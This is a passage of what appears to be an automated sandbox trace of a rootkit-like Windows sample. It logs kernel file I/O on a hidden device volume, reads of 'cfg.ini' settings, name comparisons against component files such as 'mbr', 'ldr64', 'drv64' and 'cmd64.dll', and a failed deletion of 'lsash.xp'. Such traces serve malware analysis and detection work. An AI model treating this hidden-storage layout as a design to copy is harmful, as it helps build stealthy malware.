| out: FastMutex=0xfffffa80027d3898) [0119.894] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.894] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcc4f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.894] KeLeaveCriticalRegion () [0119.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.894] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.894] KeEnterCriticalRegion () [0119.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.894] ExFreePoolWithTag (P=0xfffffa8003bca6b0, Tag=0x0) [0119.894] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.894] KeLeaveCriticalRegion () [0119.894] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.894] ReleaseMutex (hMutex=0xf0) returned 1 [0119.894] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.894] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0119.894] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.894] KeEnterCriticalRegion () [0119.894] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.894] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.894] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.894] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.894] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.894] IdePortDispatch () returned 0x103 [0119.894] KeWaitForMutexObject () returned 0x0 [0119.895] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.895] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.895] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.895] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.895] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.895] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc9a30 [0119.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.895] KeLeaveCriticalRegion () [0119.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.895] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.895] KeEnterCriticalRegion () [0119.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.895] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.895] KeLeaveCriticalRegion () [0119.895] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.895] KeEnterCriticalRegion () [0119.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.895] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.895] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.895] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.895] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.895] IdePortDispatch () returned 0x103 [0119.895] KeWaitForMutexObject () returned 0x0 [0119.895] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.895] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.895] KeLeaveCriticalRegion () [0119.895] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.895] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.895] KeEnterCriticalRegion () [0119.895] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.896] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0b000 [0119.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.896] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.896] IdePortDispatch () returned 0x103 [0119.896] KeWaitForMutexObject () returned 0x0 [0119.896] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.896] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.896] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.896] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.896] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.896] IdePortDispatch () returned 0x103 [0119.896] KeWaitForMutexObject () returned 0x0 [0119.896] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.896] KeLeaveCriticalRegion () [0119.896] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.897] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.897] KeEnterCriticalRegion () [0119.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] KeLeaveCriticalRegion () [0119.897] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.897] KeEnterCriticalRegion () [0119.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.897] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] KeLeaveCriticalRegion () [0119.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.897] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.897] KeEnterCriticalRegion () [0119.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] ExFreePoolWithTag (P=0xfffffa8003bc9a30, Tag=0x0) [0119.897] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] KeLeaveCriticalRegion () [0119.897] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.897] ReleaseMutex (hMutex=0xf0) returned 1 [0119.897] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0119.897] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0119.897] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0119.897] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.897] KeEnterCriticalRegion () [0119.897] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.897] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.897] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.897] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.897] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.897] IdePortDispatch () returned 0x103 [0119.897] KeWaitForMutexObject () returned 0x0 [0119.898] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.898] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.898] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.898] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.898] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.898] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.898] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.898] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.898] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.898] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.898] KeLeaveCriticalRegion () [0119.898] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.898] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0119.898] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0119.898] KeEnterCriticalRegion () [0119.898] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.898] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.898] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.898] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.898] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.898] IdePortDispatch () returned 0x103 [0119.898] KeWaitForMutexObject () returned 0x0 [0119.898] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.898] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0119.898] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.898] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.898] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0119.898] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.898] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0119.898] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.898] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0119.898] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0119.898] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.899] KeLeaveCriticalRegion () [0119.899] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.899] ReleaseMutex (hMutex=0x100) returned 1 [0119.899] Sleep (dwMilliseconds=0x2bf20) [0119.906] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6aa9a010, dwHighDateTime=0x1d24fa4)) [0119.906] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0119.906] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.906] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.906] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.906] KeEnterCriticalRegion () [0119.906] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.906] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.906] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.906] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.906] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.906] IdePortDispatch () returned 0x103 [0119.906] KeWaitForMutexObject () returned 0x0 [0119.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.907] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.907] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.907] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.907] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.907] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bca0b0 [0119.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.907] KeLeaveCriticalRegion () [0119.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.907] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.907] KeEnterCriticalRegion () [0119.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.907] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.907] KeLeaveCriticalRegion () [0119.907] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.907] KeEnterCriticalRegion () [0119.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.907] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.907] IdePortDispatch () returned 0x103 [0119.907] KeWaitForMutexObject () returned 0x0 [0119.907] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.907] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.907] KeLeaveCriticalRegion () [0119.907] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.907] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.907] KeEnterCriticalRegion () [0119.907] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.907] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b0e000 [0119.907] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.907] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.907] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.907] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.907] IdePortDispatch () returned 0x103 [0119.908] KeWaitForMutexObject () returned 0x0 [0119.908] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.908] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.908] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0119.908] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0119.908] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0119.908] IdePortDispatch () returned 0x103 [0119.908] KeWaitForMutexObject () returned 0x0 [0119.908] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.908] KeLeaveCriticalRegion () [0119.908] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.909] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.909] KeEnterCriticalRegion () [0119.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] KeLeaveCriticalRegion () [0119.909] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.909] KeEnterCriticalRegion () [0119.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0119.909] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bdbb70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0119.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] KeLeaveCriticalRegion () [0119.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.909] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.909] KeEnterCriticalRegion () [0119.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] ExFreePoolWithTag (P=0xfffffa8003bca0b0, Tag=0x0) [0119.909] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] KeLeaveCriticalRegion () [0119.909] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.909] ReleaseMutex (hMutex=0xf0) returned 1 [0119.909] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0119.909] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0119.909] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.909] KeEnterCriticalRegion () [0119.909] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.909] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.909] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.909] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.909] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0119.909] IdePortDispatch () returned 0x103 [0119.909] KeWaitForMutexObject () returned 0x0 [0119.909] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0119.909] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.909] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0119.910] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0119.910] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0119.910] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28cb0 [0119.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.910] KeLeaveCriticalRegion () [0119.910] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0119.910] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.910] KeEnterCriticalRegion () [0119.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.910] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0119.910] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.910] KeLeaveCriticalRegion () [0119.910] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0119.910] KeEnterCriticalRegion () [0119.910] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0119.910] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0119.910] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0119.910] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0119.910] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0119.910] IdePortDispatch () returned 0x103 [0119.910] KeWaitForMutexObject () returned 0x0 [0119.910] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", 